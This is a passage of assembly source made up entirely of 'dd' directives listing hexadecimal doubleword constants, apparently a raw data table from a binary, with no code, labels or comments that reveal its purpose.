dd 30258Ah, 0C437127Bh, 0FD907020h, 0BF8D0703h, 0F87D14A6h
dd 70779AB3h, 39C70418h, 80E65972h, 6CA13473h, 0ABC96000h
dd 2F151B41h, 6A26481Ah, 5F5E0900h, 67A08B4Ah, 7FB42A00h
dd 4481F6C5h, 0C477006Ah, 0B704E72Dh, 0C700C27Ch, 0CEB03018h
dd 0B8105BADh, 7D908Ah, 11CD092h, 646D4135h, 0AFA62714h
dd 7C8C09E4h, 991CCB0Eh, 0C07D4288h, 241E8300h, 94DEA7B1h
dd 29E92D03h, 805EC040h, 0BCA9F0h, 0FD371C7Ah, 0AF1FC9BEh
dd 6C39CF00h, 0C8581332h, 1E0EE67Bh, 40776785h, 31AE5DDh
dd 0FB073DAEh, 1BF92F75h, 0E77A8FC0h, 0E8D31E7Dh, 7723C021h
dd 32CDAEB1h, 0D990E000h, 0DC6553D5h, 0E92B091Fh, 90209FB5h
dd 0F20B8883h, 771ED801h, 293A2CB2h, 59ECEC72h, 5C68FE20h
dd 3A053911h, 0CC69EA7Ch, 5E7704E4h, 0B031D120h, 66D23FB0h
dd 7C7884C8h, 260200C1h, 37969EE6h, 38072E2Ah, 6A03C53Fh
dd 1780CDB4h, 148F51h, 2DBD782Fh, 0FD86212Ah, 0A0FCA82Ch
dd 0C834F101h, 0D0D35C90h, 3AAB8EEBh, 0A4DCE36Bh, 0F2C9AF00h
dd 289FA5A0h, 70D2210Eh, 69F601BAh, 0EC711CFEh, 5C215C1Ch
dd 0DF80E45Ch, 0E5E9C81Eh, 0E6055474h, 562173F3h, 95DB1000h
dd 7649DA9h, 0AA7EF034h, 8814811Dh, 7603F080h, 22910600h
dd 0A3137079h, 4C35097Bh, 4469E33h, 901B9400h, 0B13E4502h
dd 5EE400F9h, 0FA82A210h, 0AB1D1968h, 168184E5h, 0BEAEA08Ch
dd 9A9B807Bh, 0E600D7F7h, 0DD937F8Dh, 4C77A9h, 6BE31302h
dd 4021D9C7h, 0C40CFC00h, 298607B1h, 0CF090774h, 0F0AD260Eh
dd 25AF46EEh, 0C45BD503h, 0F006B98Eh, 0D0A2EBh, 711EE2C3h
dd 87336609h, 4573FF01h, 5E78F5C0h, 5AC0BE47h, 0A0139E4Bh
dd 0E0339Ch, 7AD92184h, 8B4CB3F8h, 8002A93Dh, 6C931826h
dd 3BE7BAAAh, 4D80A6F2h, 0DCF7B064h, 9A00CDF6h, 3F587C25h
dd 0E80D8Dh, 54908FE6h, 0D5B31B99h, 66283E00h, 963F959Dh
dd 0B8421F51h, 1ED040FFh, 6F68CFC4h, 6C002F4Bh, 0D4EF065Ch
dd 499900FBh, 70CC1319h, 0BE2E607Ah, 29006C24h, 8F892BAEh
dd 5A381671h, 64B50920h, 0B674CB00h, 48002683h, 7CB8B59h
dd 0C438A5h, 5DC606D2h, 4ED625F6h, 70C84800h, 0DF8C3BF7h
dd 0EC09A5Ch, 7BACECE0h, 0EF56D23h, 0CE508095h, 37007E8Fh
dd 314D153h, 0B32C4Eh, 70571247h, 0F451620Ah, 0CDAF9200h
dd 2CC4B805h, 997713D0h, 24F400A4h, 6DE3B625h, 4865AE13h
dd 6C05E900h, 0EA3FF41Fh, 9C2C0E5Ah, 3562237Ah, 0EBE0EEF6h
dd 1325D560h, 0C03400F9h, 187ED3Bh, 270BCB51h, 3DB775CFh
dd 6FE71248h, 60B8F884h, 0DBC26E0Bh, 5D903480h, 0F001DD16h
dd 0BF460AA6h, 0E340596Dh, 0E270FFD9h, 31410161h, 0A864080Bh
dd 394829E9h, 1D03479Dh, 0EB01BA25h, 14BFCBF0h, 0DC0FBC0Bh
dd 78CE00E9h, 4D3EE7Bh, 0D42AC309h, 0CAA8C09Fh, 100467Ah
dd 51E1B717h, 15F4E48h, 0E92E2DC5h, 0FCC2247Bh, 601DA529h
dd 8B80D3A7h, 14B35D5Ah, 7B60E9B1h, 890C0F26h, 5A2442Ah
dd 1EC0CB0Dh, 46E0F327h, 4E5E8E00h, 1F722658h, 0AA98A8CFh
dd 0A3910567h, 803F070Dh, 23A94F94h, 0F71D6D00h, 3C2F19Fh
dd 79540032h, 4A942DA3h, 0EB1FC61Bh, 53806BB7h, 9735AC74h
dd 0B66EC04h, 0C6C3211h, 3D949C08h, 315FC90h, 0CA846F8Bh
dd 0C48804D5h, 0A26DF693h, 0ABD1378h, 5856111Ch, 9761FC40h
dd 0FA69D90h, 0E4D904ABh, 7A5777A0h, 0C100CA9Ah, 12B1201Ch
dd 0CD2EBCh, 0AF6A70BAh, 824A0AF0h, 91936703h, 0CD723484h
dd 998530D1h, 2BC1EC6Dh, 28C6A470h, 42900740h, 77B61161h
dd 0E13D00C0h, 71B60E1Ch, 0D49456D4h, 0B746A07h, 2E18CAA0h
dd 0E8B10341h, 4B54ECAFh, 0A1D06C88h, 0DD37F200h, 96CDC6E2h
dd 0EE9A003Fh, 78A706ADh, 0D3F0FBF9h, 0D8D97F12h, 265790B0h
dd 1E2BFCD6h, 0B00340EDh, 0BA78044h, 882BA600h, 4FF2F587h
dd 71861ED5h, 1F160154h, 0F15B0BA4h, 0A2E460D4h, 0CC1F237Fh
dd 5E805658h, 2FECA087h, 0C1CB0B9Bh, 0C020CA0Ah, 0E9742A3Ah
dd 0F5480600h, 24464B35h, 983F0031h, 9D96551Fh, 6E00B782h
dd 88E26BA8h, 0E75C25h, 0E88D9238h, 5E18B8FDh, 78F9DF30h
dd 9BA571h, 16B51025h, 0F6E17E92h, 6D522800h, 8E23180h
dd 83C92AE5h, 0B45C5CA0h, 1E8EC4h, 95DF40D9h, 71E10028h
dd 0E0306B2Ah, 4B39B234h, 0CD048136h, 4A431072h, 2CC7AC40h
dd 0ABE80030h, 1C258B76h
dd 0A100AD27h, 542E37F6h, 0C6545h, 57DF08BAh, 4A1DE25Ch
dd 0AC00C0B8h, 949D588h, 2CE53685h, 8074A501h, 0BCADC1F4h
dd 6228E75Dh, 0DD0ECC2Eh, 9523136Ch, 270078D4h, 467E8317h
dd 0C074A5ABh, 5DF26B19h, 6300B167h, 1D43D8FEh, 1CB9A03Dh
dd 0C016106Dh, 653C6FD5h, 0BE0254EEh, 33EE708h, 0A5D180D6h
dd 5F04D795h, 1C0007BFh, 990B86AFh, 0E1DDE900h, 806846F2h
dd 40E700C1h, 0EC49F457h, 0D200AA33h, 7DAFB005h, 61F2D0h
dd 1245352Dh, 42832EA5h, 0BE00ABECh, 2361B7Bh, 0B11FB8BFh
dd 421C8528h, 0E4E40087h, 78FFCE1Dh, 89EE5F3Ah, 5556DE5h
dd 50F16510h, 10F02980h, 0F5E2D672h, 2EAFBA00h, 1A0F05E8h
dd 0CBEF253Bh, 80CFFC63h, 73CE3F26h, 6594170Eh, 6F9C874Eh
dd 2E3920DFh, 98DC8F16h, 54E60BFDh, 69004A91h, 69F397B0h
dd 70001972h, 60EBF9D6h, 3480BAh, 0D21F26EDh, 0AC2461CEh
dd 39F6F7E2h, 743A2F0Eh, 1C3E60ADh, 2B1C5A1h, 0E2995636h
dd 38463031h, 83021B79h, 60D3503Ch, 259B80E4h, 78C3E74h
dd 0AD695A0Ch, 0C6620091h, 0FFEC72C3h, 2AB028ECh, 778CFB03h
dd 0D81AC1A3h, 824467h, 566FF710h, 0E20184FAh, 0D5CD7B00h
dd 0FFDD0C99h, 25A5F0D4h, 315C3882h, 0CF969A00h, 0BA95460h
dd 61D48B90h, 5B9D1810h, 0E5E5F42Ch, 2946760Ch, 17A7BBCh
dd 0C79F81F2h, 0F92FDEA8h, 0DACF7073h, 81226F3Fh, 0F945206h
dd 5034D195h, 0B64F2650h, 0E82704B0h, 0B4AC87h, 0B55B2A28h
dd 0A8FE8EBAh, 7B79BB80h, 0F0009FF5h, 6AC504B1h, 87A11E3Fh
dd 824870FCh, 9EF7D660h, 67D32D4Ah, 91A4D000h, 27005452h
dd 0C9AD7E21h, 9D4CE931h, 0C13900A0h, 5736C87Ch, 3D28111Ch
dd 5D804FE2h, 52960F8Ah, 1501A853h, 8587D381h, 0CC5C366h
dd 0A497C0C7h, 2FCA0E29h, 21205256h, 2D2A0307h, 0EECA70F7h
dd 24E5E101h, 541C96C8h, 7A8AF9BBh, 2D4068D1h, 1B406834h
dd 753A14E0h, 0D500205Eh, 56DF1165h, 533CE9C8h, 370E806Ch
dd 38BFAAD0h, 4AE403CDh, 88015C14h, 33986698h, 0FA8D0201h
dd 65555D05h, 954AFCh, 0B9ACB515h, 0C76ECED6h, 0CA7C2Fh
dd 8F903AB4h, 57241DC5h, 9BA9C38Bh, 7DC87FDEh, 6600E783h
dd 317C1496h, 0E4E11ABh, 0FC5E86B7h, 0C3FF9320h, 14007184h
dd 4DB11A18h, 6E81DA8h, 0DD7FA068h, 0A900C829h, 114A6E53h
dd 0E401BDh, 758D0FD3h, 84219135h, 0C5EDF307h, 77A03710h
dd 0E2C6AEh, 765C3FFCh, 0DDCE57A4h, 7EEE3400h, 7E8D02Bh
dd 1DF47B4Bh, 0AF30474Dh, 933BF098h, 71049074h, 57E7F196h
dd 60CE75C0h, 289C003Dh, 12B8B46Bh, 5228230Ch, 0B226BD7Fh
dd 900074F7h, 7DEAE370h, 0B661340h, 7841F1Ch, 0D99E8A21h
dd 3FF07C70h, 0D9809B02h, 0E0057AD6h, 78147620h, 2A7B0060h
dd 9FE9C9B9h, 0EC00C269h, 9A513222h, 5C7F5721h, 0EF029911h
dd 0B0F23461h, 0B13E8C0h, 0CB6CB700h, 0D8823BA0h, 0CFDC0092h
dd 682633F2h, 3160971Ah, 5CDAB169h, 43C20092h, 34D19EFAh
dd 0A51C418Eh, 39035399h, 0D0C59442h, 3BEC5DEBh, 843B57C7h
dd 9EE7D601h, 0C0D01A48h, 9A00A514h, 89A9958Fh, 75E66Eh
dd 49F0E9A0h, 330C7BF4h, 0B970457Eh, 5A01CA79h, 593FBB61h
dd 5931FB85h, 0F90BD4h, 8FFFB778h, 20F5E01Fh, 5645C00h
dd 0DB6B721Ch, 36D330D7h, 9D1F5D68h, 33061775h, 375E8250h
dd 0DAE20018h, 7B881C90h, 1E00AF35h, 827C7EB9h, 37899C9Bh
dd 4198E7E9h, 0FCABD2FDh, 1F1C93F6h, 0D4403612h, 0EB4E53B3h
dd 6790CEh, 0B6F161E0h, 0C075DC32h, 0D23F3A0Eh, 2F89825Bh
dd 0BF60771Eh, 0AE762974h, 0E0DD4400h, 704FD83Dh, 1D930096h
dd 0AB81251Ah, 9B010B75h, 3BBCFB8Fh, 0F2D02BB5h, 0D5D309D6h
dd 0C000AE7h, 3316122Ch, 4465C800h, 2917CF61h, 0D1F0036Fh
dd 74B71107h, 4C46722Ch, 0E0FFF90Fh, 193BFD35h, 502B00A8h
dd 51178241h, 870025B4h, 3930A31Ah, 3BD8CFAh, 63A1E966h
dd 0A2E80D5Ch, 777B4908h, 6A57F00Eh, 0D0222AF9h, 3D6BA587h
dd 0AE84FCD4h, 553AF305h, 216F80FBh, 5B00CF36h, 4C58A4BFh
dd 0E8D32F1Ch, 5040002Ah, 0E5DFCADDh, 0B50FBBECh, 86884EC8h
dd 58F3DAh, 857B68D2h, 0ADE05E9h, 356388A0h, 523DA30Fh
dd 0D51D0469h, 0F44DA501h, 8660CCE2h, 7C2DD200h, 150174DEh
dd 0D8A41Ah, 0C8C0DFEFh, 6E8897Bh, 883ED200h, 0F997E31h
dd 7436035Ah, 667BD5CFh, 0BA7930C9h, 0C0FC55E8h, 3E285DC8h
dd 0E300A557h, 27809AF3h, 96F04h, 61307EEBh, 89AD2F96h
dd 4B1E7700h, 0E752E5E8h, 0F4701980h, 0E4F36023h, 5000647Dh
dd 0E4BECB4h, 7D5BC8Fh, 0C65AD071h, 581E50CFh, 0AB000160h
dd 0C9482723h, 717EF4CCh, 8A5B004Eh, 14BE289h, 0BA002325h
dd 0A7395869h, 1DC9B736h, 0B93CBB46h, 8091561Dh, 4C0166B8h
dd 7003F649h, 219705ECh, 0F8FDFB63h, 0C30B10h, 5C523C31h
dd 3DA745D4h, 29D5C40Eh, 41DF6364h, 80BABA5Eh, 0D9DECFC8h
dd 86B5001Dh, 8FAC52F7h, 0A803143Ch, 5FC37BAAh, 0EE7FB828h
dd 1A123AF9h, 4522FC84h, 375C90BBh, 4D00B5FFh, 4161E67h
dd 1387A95h, 0F2D8E2EEh, 0E4122089h, 670430FCh, 6921671h
dd 0A2BC39C0h, 6DE40EB6h, 0C84002FDh, 0FEE77CCCh, 64000590h
dd 0AC690D63h, 0C02218BDh, 65BFB988h, 67015BFFh, 9EDEB408h
dd 0F1D85298h, 39A7756h, 0A32F66B2h, 0BFF8F771h, 0F4A0D139h
dd 0A13840BCh, 6C270C5Fh, 0E6B8D2h, 99439D96h, 0DDD82F26h
dd 0E2F87F00h, 15CD4DBAh, 28F360ABh, 0BE0B0633h, 0A9A5D313h
dd 67E1B400h, 29D8F2h, 0E4F3922Ah, 0C206DB6Fh, 2BC35501h
dd 51901B96h, 46C420h, 0D11F1823h, 56B452B1h, 777B9800h
dd 6F358715h, 0DC6D0084h, 4939F9EDh, 4E3E2F3Bh, 0CEFB804Bh
dd 893363C4h, 2B650051h, 0CCC3596Fh, 250BA3FEh, 804B3CB3h
dd 0B8A55D77h, 0B5080002h, 65E35C3Bh, 2E007AE6h, 6836FF90h
dd 3094891Ch, 0FB11C237h, 6A006CF1h, 666EF855h, 7D8DFDBFh
dd 4C5618C6h, 0F274C078h, 5DAC2407h, 40CE4D0Bh, 0C1A2A564h
dd 4ACD0036h, 0B946E34Ch, 870580BEh, 4E34E511h, 0C0D0AB82h
dd 79B63Ah, 48E35608h, 8B017EEDh, 1E1FA501h, 1C2BD342h
dd 2DA7C8h, 0AAC16F75h, 858F5382h, 5573F300h, 0E8E62EF5h
dd 0A44100D8h, 999AD048h, 7D008FB5h, 0E0EED593h, 3D8C4CE5h
dd 58002A19h, 0B61DDED4h, 6900A1DAh, 2DBE9593h, 183922Ch
dd 38A07105h, 0E461D35Ch, 31002E21h, 91B41A2h, 58BACE4Eh
dd 7464F1h, 2546EFADh, 0F0106E1Fh, 0C9F7404h, 9EC06D13h
dd 229D9Eh, 0CF2729A8h, 9FD73F4Dh, 0B6314800h, 4EABE849h
dd 0AA700169h, 8F153A78h, 0F800DB88h, 9EFF2A18h, 0F09CF7E4h
dd 6E460085h, 0E18C94F8h, 13905659h, 485439h, 0E8D8D449h
dd 0E47D8B9Ch, 86C7003Ch, 955E0DE7h, 2500E089h, 9D04CB3Eh
dd 0D65BA8h, 627E17FBh, 0C55A2F9Ch, 900ED98h, 451DC7C0h
dd 33D1D0h, 0D361EB32h, 6F7DAFA7h, 0A126A307h, 4BB0BEA2h
dd 0A6F515h, 45928685h, 1944CA05h, 0BE8C8300h, 6F2C3862h
dd 54D900EFh, 87FB4711h, 5B1E443Dh, 0D680B6A1h, 0E9358C4Ah
dd 0B0CA0216h, 0CF8D7786h, 0B7398380h, 0EF4C4230h, 8EE31C3Eh
dd 22878900h, 2D2FA2h, 0D2C04BABh, 7779F05Fh, 1999F200h
dd 0BB369517h, 0D96400B9h, 87FA5C5Ah, 672F67Eh, 0A016ED24h
dd 7BFE6800h, 73AE5BCh
dd 391DBEB3h, 96CA41AAh, 9006DB3Bh, 19C2B687h, 3A9DF030h
dd 9E9D59A0h, 0E1410670h, 9F3E18BEh, 0CF3B0088h, 44DD9B94h
dd 0DC3018FDh, 0D62B08ECh, 396639h, 8A7BA3FFh, 270755h
dd 0FA5B313Ah, 89BEE87Eh, 98496005h, 0C780ADB8h, 726B948Ch
dd 47EF00EEh, 75ED59D0h, 0E1007B05h, 3F3DCA97h, 603B8A7Fh
dd 689338D4h, 346678D9h, 49B0C8h, 0E04316Eh, 4E62E854h
dd 0FD82100h, 91A9B7AAh, 25C5008Fh, 343A19EAh, 45004AC9h
dd 0CDE428FAh, 3E61BD4h, 0AD487CEDh, 0BA06AE8h, 4100604Ch
dd 45078C68h, 982909F5h, 97F000AAh, 0EF186101h, 673F9112h
dd 0A01C8339h, 91411DB4h, 95FC3122h, 8C2D0214h, 9649C16Bh
dd 0A63A1D40h, 2BDE0300h, 140F7366h, 238800CDh, 0B319D748h
dd 2400B41Ch, 3A25A1Fh, 20536A6h, 6BE99F7Ah, 0D4A1386Ch
dd 40D83255h, 7B3945E4h, 82DB633h, 7A21004Fh, 967FD83Ah
dd 290E9AC7h, 2F0EF5C3h, 6E3B87C2h, 0AD1543F0h, 10E8491Dh
dd 39730900h, 98897E93h, 9859E0A1h, 2F21F308h, 0EDF66Bh
dd 0AA07562h, 0B6859B91h, 3F7EEF44h, 0DE810BCAh, 0EABA3C1Ah
dd 6D68831Eh, 2335847Ch, 843FB670h, 617E8E39h, 2627F262h
dd 7ADC609Fh, 188F6EDh, 4793B0A2h, 0D0EB9E7Fh, 9FB0FE08h
dd 89169200h, 0FBDDEA1Eh, 0F9FF7173h, 0A187B024h, 34186D9Ch
dd 0BEB5D81Dh, 491163h, 0FCD83C7Ch, 30CAD42Bh, 0E1D06773h
dd 0FD303835h, 90A75978h, 0F7001A8h, 6190D91h, 6D089879h
dd 88B821h, 5E8176A8h, 403BAAD4h, 183F24A1h, 3A84893h
dd 1124A929h, 8BBD056Ch, 0AE804EA8h, 36EBA0BBh, 0D8E0EC37h
dd 0CBEA150Ch, 70C010F7h, 184B00A9h, 590AD081h, 0C70E0313h
dd 0C0FEE997h, 52AAD286h, 8DD400FCh, 0C424DA21h, 9400F15Eh
dd 2AA08AB2h, 32184Ch, 0C36BDDBCh, 53F87049h, 6FFCDC00h
dd 89B052E6h, 2C5007Ch, 976E0D1Ch, 0ED50A48Ch, 7D003C96h
dd 0F83E28BAh, 2A179Fh, 99D09E74h, 18254727h, 0B7E4C400h
dd 2616B3E5h, 89600773h, 7045EE7h, 6139B09Ah, 0D62633EBh
dd 7B00BE02h, 9301CFA1h, 98900BBh, 516B99FBh, 0FD5FD94Dh
dd 1603DEACh, 39D0722Dh, 123430B8h, 366B1F00h, 0A5B125DAh
dd 764100D4h, 0A61903AEh, 8100B610h, 9E173813h, 3B3BCDDh
dd 43DC9F5Eh, 499026E9h, 53007C4Ch, 0EC040789h, 1C64DAEEh
dd 5CD983h, 86023A25h, 0B400DD7Dh, 542C1BE7h, 3FE53294h
dd 568773BAh, 0F02FF6C1h, 55300334h, 4D84A00h, 3C7FD56Fh
dd 86491FE2h, 0D9E1C0CFh, 2A85D68Dh, 0A79060FCh, 3C2606F8h
dd 0DC008EF1h, 4F5C6829h, 1E8E05BAh, 0C0FC43h, 51FE7AD8h
dd 0C9009DC6h, 0E6CE799Ch, 0B816DE5Ah, 7BAE0137h, 0A1F99F1Eh
dd 0AFC88641h, 0E676C8h, 5412DE0Ch, 6E7C6299h, 0C26C8A01h
dd 0CA52F9EEh, 823DE0h, 641FD898h, 8B812F87h, 0D6433118h
dd 1D6C6578h, 87E94ECAh, 0B01DEE06h, 88C921EBh, 98A06000h
dd 3C96AFC1h, 9F9D0038h, 1A234527h, 0D500AE7Bh, 0E0120D82h
dd 3976F92Ah, 18893C04h, 9703DC5Bh, 59907DBBh, 58061FFEh
dd 0BEF110B3h, 7F7D58h, 0B141355Bh, 52AC69D7h, 0B7001CB8h
dd 7BB9B408h, 90D46C6h, 0AB8F560Bh, 88041F80h, 0BF009607h
dd 25646AA1h, 3E1B339h, 0F4864CCAh, 72D88991h, 0D4005BA2h
dd 28E04511h, 8EDE9Bh, 54E8A7F5h, 0F40A4D12h, 9E591900h
dd 17F7B079h, 34720A35h, 39F8DA52h, 8E80B5BBh, 2DE64EC9h
dd 0E90F244Ch, 6096C52Fh, 6CC65D9Ch, 0BDD00A9h, 2AA3209Fh
dd 0FF002844h, 0BF657215h, 27FB5Eh, 0C01C1943h, 0F4B751E9h
dd 2AE62500h, 0CA4D066Ch, 0A67B0Ch, 0C69E856Dh, 47FBFF7Bh
dd 621B5500h, 80BB7E89h, 1CDA00CAh, 0A8262F3Ch, 0A90070D0h
dd 9283D06h, 99B485h, 69E36F98h, 6414E2ADh, 48EDDB26h
dd 0FB651F00h, 29F3C550h, 8C3C2Bh, 574212D5h, 0A4011AADh
dd 0D3FDCFF8h, 0C09FB71Dh, 2A44A20Eh, 5D3900A7h, 9DDC360Fh
dd 49000C30h, 7315CCC0h, 1E4A8093h, 4548F3D4h, 81F1D3C4h
dd 0F4BD9918h, 26FA60DCh, 571F000h, 1F3F7D37h, 8C900Bh
dd 0E8B06FBBh, 0D98B6158h, 15016890h, 0D2959BF9h, 0E6E81A02h
dd 0BB6903D1h, 0C82EBF0Ch, 0F221A011h, 44003D58h, 0E9C11920h
dd 0DF1F4583h, 0A4FC60FBh, 0F50A6597h, 338EC13h, 538E472Ch
dd 0B7E7D07Ch, 0E63B0363h, 8113DB92h, 11C05BF3h, 0AA04E174h
dd 645D8CECh, 93E8D180h, 5A4E028Ah, 18AE6A33h, 21A43E0h
dd 3BB57000h, 9D340163h, 0E55A001Dh, 56BEBB23h, 0A7075497h
dd 6FDFBA8Ah, 81A7FD1h, 8D4039C1h, 5FDC990h, 9E663107h
dd 0C025876Bh, 15AE43D5h, 8385D701h, 6290B304h, 0DC5DE880h
dd 7FDBAD19h, 0E5759C90h, 0A676E100h, 8D39E7Dh, 0ED850FD1h
dd 0B9A197FBh, 0E89C693Ah, 70077437h, 3E98DE48h, 49D0E07Dh
dd 68EA5Dh, 905F6104h, 3275860Ch, 8344CC01h, 0BD709EA8h
dd 7F02D60h, 50D93FF9h, 0F1E09F89h, 41AB5E26h, 153E9E00h
dd 14D56E03h, 0F3B0C5C9h, 1DCC407Eh, 0A9F5D7C8h, 0D0EC5055h
dd 6D095B40h, 58172Bh, 330EA5B0h, 64A3300Fh, 0A771A911h
dd 78C5D60Bh, 0A42C2324h, 63E1E78Bh, 288E67FFh, 66A0990Dh
dd 2E280837h, 0EEDFD500h, 0A78665AAh, 2990A082h, 8EE41D27h
dd 48344076h, 0E2FAF9C0h, 80B2593Bh, 0A82E7C6Ah, 30D2100Ah
dd 0F55877BCh, 500ED52h, 889E4C0Eh, 32BCE51h, 982436F0h
dd 0C8744F40h, 6E103009h, 72E480F5h, 30922D6Ch, 0F1F82FDAh
dd 0D7F80F8Fh, 0C07A098h, 0D6CF3A1Fh, 0E0FE39F3h, 496BBF6Ch
dd 82008074h, 30E1266Fh, 43009FFAh, 69672CA6h, 7CD8844h
dd 5C29DF09h, 0F17FA08Bh, 7300AA0Ch, 23489631h, 681E79h
dd 5FEDC937h, 4CFACF98h, 0AD024CB0h, 1171B37Fh, 1BF88553h
dd 0E8C45E81h, 73542530h, 85400B78h, 0AA80677Dh, 0ED6AAA0Fh
dd 0BFD0E301h, 0A3826124h, 2D5C40FEh, 0EBE83C23h, 3C1311E0h
dd 8A009EC0h, 0E7A88659h, 7CEA4819h, 0FAE91825h, 0ABB5292Ch
dd 8C0009E2h, 0AA12AB6h, 5854FF7Fh, 720042C3h, 71901C59h
dd 0AB00C735h, 5B3AA4B8h, 0E896858h, 91DB6295h, 96CBB220h
dd 22F15C16h, 2EAA00E8h, 0B77B145h, 73C10B3Dh, 0B809D11h
dd 9ACD0A63h, 0E00D4A30h, 0ED025DBh, 9EB5327h, 0DD34C300h
dd 8305E322h, 3829E43Ah, 0E4CC7C0h, 0ED3038F6h, 93755E80h
dd 2083F9B5h, 0DC54AD00h, 605A43EAh, 0CC650298h, 5CB54A0Dh
dd 590CD0C0h, 88B1D300h, 0AAB7D691h, 0E1981D63h, 1C2B8085h
dd 2E479E5Ah, 0BD0F8D00h, 0C338521Bh, 5E2F00AFh, 0FFACBF94h
dd 0C005F34h, 131D707Fh, 1DCCEFFDh, 0C5A94E96h, 801A5857h
dd 0B8A0F884h, 6112DF09h, 0E4E280DDh, 1D9A2238h, 8153785Eh
dd 0E9A3324Ah, 9D442469h, 0F6426000h, 0B5799107h, 1C45E804h
dd 804127F8h, 7AEECA1Eh, 8A006FBFh, 2C0B63BEh, 0FB10913h
dd 5AAE77D5h, 0FB53EEE0h, 0F3004123h, 95ACC09Bh, 56345h
dd 6A43E338h, 32C4EAF5h, 52E87A7Ch, 0BF0724B8h, 4661D9DFh
dd 16B91580h, 0E2D814C8h, 0D10D1087h, 0D4A961E0h, 4D3035FCh
dd 0B65908EAh, 18DEC7h, 0B54232CCh, 55E8CB77h, 0B2C9C400h
dd 4A8B48BDh, 0EDF72CCDh, 320C3C04h, 0F588E215h, 4A18409Ah
dd 468040B0h, 1EA800F4h, 414901E8h, 3314C41Dh, 0BEBA3Ah
dd 4E387557h, 1C2D6226h, 409EFDE9h, 0ECCBE129h, 0D33CE364h
dd 6D32009Bh, 81257A17h
dd 0B5D02818h, 0F3580260h, 84E25035h, 99697080h, 7B00B88Dh
dd 20A068DCh, 0F1519A9h, 8464F681h, 0DEF1D180h, 0CB00FEB2h
dd 0E9F311DAh, 4BDC0Fh, 0FC245A23h, 31B2806Fh, 1FA25101h
dd 0ED6E9FFBh, 5E3C20h, 919445B4h, 0C2520888h, 0AD31F900h
dd 9A1AF0E3h, 73800E7h, 11F1DBBDh, 1E01B510h, 0A419016Eh
dd 79C4F5F4h, 8588002Ch, 0E5A53FA8h, 0E407562Fh, 0FD4B0A3Ah
dd 4D1AFF41h, 0F97BFCh, 36AD131Eh, 414CF19Fh, 0D24858h
dd 6F6F5FEh, 3FE825F8h, 0C30023B0h, 4EF791Eh, 7E509668h
dd 1148E590h, 0AB7B00B0h, 380D5CDEh, 9EEF006Fh, 2D3FFED7h
dd 0C004925Bh, 0A4995A3h, 0A79D7090h, 27305FAh, 0C005893Ah
dd 48AE1994h, 0C7B5107h, 6B00438h, 5EDB4E8h, 4482CF15h
dd 0E6249062h, 2C98AB6Dh, 34880B01h, 46B9F454h, 0ECCCDFEDh
dd 521316AEh, 0ACAF0280h, 0CBC26442h, 0D58BBA84h, 50300ACCh
dd 7E8738C4h, 20A9DBFAh, 429EEABBh, 29001370h, 0C4DD8A5Bh
dd 0B871CED2h, 67D8E799h, 0DCE100B4h, 97B78E39h, 7930599Bh
dd 8B0398ADh, 0CBAC0022h, 7DF0B571h, 833F46FBh, 0FFCA801Bh
dd 6027102Fh, 5DFAC079h, 74EAE0EEh, 0D4C1912Ch, 662C9300h
dd 4935E7h, 4CD5A197h, 2621FACh, 8327443Ch, 0A976194Ah
dd 6027FF58h, 37BBECF0h, 3A050038h, 7336F76Bh, 0AD06770Bh
dd 0F21FC212h, 0C61700F0h, 0FF82D0D4h, 0F0B6031h, 0C043CCh
dd 0A8A07978h, 3F190071h, 0B18E1421h, 543A0CDFh, 0A3FB8E93h
dd 0AB31238Bh, 8E45BFECh, 0AAB0C080h, 52D7246Bh, 914293C8h
dd 508DE814h, 8070C4D4h, 0A2337900h, 0D31FA5C0h, 0AE761E39h
dd 1CBFC35h, 9CEC6588h, 0C142877h, 41CEA8EEh, 6D59074Eh
dd 0C0361AF3h, 52A3D757h, 6ECA6200h, 0B7047FCh, 27730C12h
dd 0B6E82F33h, 0F2352300h, 7038030Ch, 7868C6BFh, 74EE2185h
dd 922E437Ch, 1900EAD1h, 76C49D63h, 85E494ABh, 90480585h
dd 1BDD664Ch, 7E9EB900h, 20F15AB8h, 0ECEE0065h, 9DF21CD4h
dd 85D66ACh, 0A6BB005Ch, 2521C66Eh, 0B204C109h, 40882EEAh
dd 30829AB4h, 0E0E1E200h, 74FFA87Ch, 7A380004h, 0A3DA5914h
dd 282803E4h, 0A80BB02Ah, 26A63A2h, 43D2815Fh, 0BC55E058h
dd 72A00FDh, 9C03BF0Ch, 0B058E35h, 1A7CBA42h, 0E02274D2h
dd 0FC4C5Ah, 5D30FDA8h, 8E87444Dh, 0CA5E1E13h, 0C4916C41h
dd 3931F2AAh, 178ADC8h, 0BA759CB0h, 0F01CF3EAh, 3600FB17h
dd 9FBD3372h, 3FC4AAECh, 0B80B26Dh, 3D704C01h, 942880h
dd 8218003Ah, 0EB5C58BAh, 0FCD5009Dh, 96F8314Ah, 4E610CA5h
dd 0B25F1A80h, 1FEC43D5h, 8F5D0967h, 9280409Eh, 7B309DFDh
dd 0C510924h, 0BE57A400h, 2AB73307h, 8438FEh, 0EE29268Ch
dd 5E491628h, 88B89016h, 0D0829800h, 49508A48h, 0AC00F4CEh
dd 3F9CD84h, 993B6D2Ch, 3A0A8060h, 4C4DFCC0h, 0CECB861h
dd 30415E6Ah, 840035A0h, 93DF4034h, 3038BDA8h, 0BF91480Fh
dd 0A9386C0Bh, 0BC4903B4h, 0FBA6CF07h, 0FA90E812h, 0E66F00EEh
dd 0A7A2A51Fh, 0A10E76B1h, 0C181DE85h, 880714E4h, 0F849CC8h
dd 31096136h, 6830FB40h, 0D6029575h, 207CB9DAh, 0E9E0C849h
dd 46C2007Bh, 84907A35h, 8500896Bh, 222658D4h, 2448F864h
dd 18AD36h, 21F5343Ah, 0F2E04104h, 8B5F1F00h, 501B565Ch
dd 0AF6E00C3h, 0D9A62CDBh, 200C2E3h, 22B3BDC4h, 0ECC779h
dd 8F250555h, 312C6735h, 0D6E90400h, 361288C2h, 0FA076915h
dd 0DFC63200h, 30EA756Fh, 11E6C230h, 33E5336h, 5A1DDC35h
dd 0FE986CC5h, 0B700FF7Fh, 0E14A54B9h, 12EDEFBh, 41FD9E92h
dd 0EC5B11ECh, 0A2056065h, 1323F3C1h, 30E388C0h, 0BD102636h
dd 0EA3C8B10h, 0FA7FF0A0h, 125602Dh, 0A294811Eh, 0B4E05D9Ch
dd 4CC80FCBh, 65E31D0Dh, 90F07341h, 320003D1h, 0D3A07214h
dd 7CF0E770h, 0BA7D009Eh, 43A41CFBh, 0AAF415E5h, 0D4028C92h
dd 1056592Eh, 0A3446BB6h, 8DD9B8D1h, 2C0A4826h, 0A7617002h
dd 34487269h, 9A072D99h, 94091D7h, 2E07E631h, 0E45730h
